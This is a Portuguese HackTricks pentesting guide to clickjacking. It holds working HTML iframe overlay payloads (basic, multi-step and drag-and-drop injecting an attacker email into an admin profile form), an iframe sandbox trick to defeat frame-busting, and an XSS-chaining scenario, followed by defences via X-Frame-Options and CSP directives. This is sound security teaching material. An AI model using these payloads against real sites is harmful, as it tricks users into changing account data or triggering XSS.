hacktricks/pentesting-web/clickjacking.md

12 KiB

Clickjacking

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}


Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas da comunidade mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}

O que é Clickjacking

Em um ataque de clickjacking, um usuário é enganado a clicar em um elemento em uma página da web que é invisível ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências indesejadas para o usuário, como o download de malware, redirecionamento para páginas web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.

Truque de pré-preenchimento de formulários

Às vezes, é possível preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga útil de clickjacking para que o usuário pressione o botão Enviar.

Preencher formulário com Arrastar&Soltar

Se você precisa que o usuário preencha um formulário, mas não quer pedir diretamente que ele escreva algumas informações específicas (como o e-mail e ou senha específica que você conhece), você pode apenas pedir que ele Arraste&Solte algo que escreverá seus dados controlados, como neste exemplo.

Carga Útil Básica

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload de Múltiplas Etapas

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se você identificou um ataque XSS que requer que um usuário clique em algum elemento para disparar o XSS e a página é vulnerável a clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode definir e ler). A página com o formulário para definir esses detalhes é vulnerável a Clickjacking e você pode preencher o formulário com os parâmetros GET.
__Um atacante poderia preparar um ataque de Clickjacking para essa página preenchendo o formulário com a carga útil XSS e enganando o usuário a enviar o formulário. Assim, quando o formulário é enviado e os valores são modificados, o usuário executará o XSS.

Estratégias para Mitigar Clickjacking

Defesas do Lado do Cliente

Scripts executados no lado do cliente podem realizar ações para prevenir Clickjacking:

  • Garantir que a janela da aplicação seja a principal ou a janela superior.
  • Tornar todos os frames visíveis.
  • Prevenir cliques em frames invisíveis.
  • Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.

No entanto, esses scripts de quebra de frame podem ser contornados:

  • Configurações de Segurança dos Navegadores: Alguns navegadores podem bloquear esses scripts com base em suas configurações de segurança ou falta de suporte a JavaScript.
  • Atributo sandbox do iframe HTML5: Um atacante pode neutralizar scripts de quebra de frame definindo o atributo sandbox com valores allow-forms ou allow-scripts sem allow-top-navigation. Isso impede que o iframe verifique se é a janela superior, e.g.,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

The allow-forms e allow-scripts valores permitem ações dentro do iframe enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como allow-same-origin e allow-modals podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem guiar quais permissões permitir.

Defesas do Lado do Servidor

X-Frame-Options

O cabeçalho de resposta HTTP X-Frame-Options informa aos navegadores sobre a legitimidade de renderizar uma página em um <frame> ou <iframe>, ajudando a prevenir Clickjacking:

  • X-Frame-Options: deny - Nenhum domínio pode emoldurar o conteúdo.
  • X-Frame-Options: sameorigin - Somente o site atual pode emoldurar o conteúdo.
  • X-Frame-Options: allow-from https://trusted.com - Somente o 'uri' especificado pode emoldurar a página.
  • Note as limitações: se o navegador não suportar esta diretiva, pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.

Diretiva frame-ancestors da Content Security Policy (CSP)

A diretiva frame-ancestors na CSP é o método recomendado para proteção contra Clickjacking:

  • frame-ancestors 'none' - Semelhante a X-Frame-Options: deny.
  • frame-ancestors 'self' - Semelhante a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Semelhante a X-Frame-Options: allow-from.

Por exemplo, a seguinte CSP permite apenas emoldurar do mesmo domínio:

Content-Security-Policy: frame-ancestors 'self';

Mais detalhes e exemplos complexos podem ser encontrados na documentação frame-ancestors CSP e na documentação frame-ancestors da Mozilla.

Content Security Policy (CSP) com child-src e frame-src

A Content Security Policy (CSP) é uma medida de segurança que ajuda a prevenir Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir para carregar conteúdo.

Diretiva frame-src

  • Define fontes válidas para frames.
  • Mais específica do que a diretiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Esta política permite frames da mesma origem (self) e https://trusted-website.com.

Diretriz child-src

  • Introduzida no nível 2 do CSP para definir fontes válidas para web workers e frames.
  • Funciona como um fallback para frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.

Notas de Uso:

  • Depreciação: child-src está sendo descontinuado em favor de frame-src e worker-src.
  • Comportamento de Fallback: Se frame-src estiver ausente, child-src é usado como um fallback para frames. Se ambos estiverem ausentes, default-src é usado.
  • Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretrizes para evitar exploração.

Scripts de Quebra de Frame em JavaScript

Embora não sejam completamente infalíveis, scripts de quebra de frame baseados em JavaScript podem ser usados para evitar que uma página da web seja emoldurada. Exemplo:

if (top !== self) {
top.location = self.location;
}

Empregando Tokens Anti-CSRF

  • Validação de Token: Use tokens anti-CSRF em aplicações web para garantir que solicitações que alteram o estado sejam feitas intencionalmente pelo usuário e não através de uma página Clickjacked.

Referências


Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks
{% endhint %}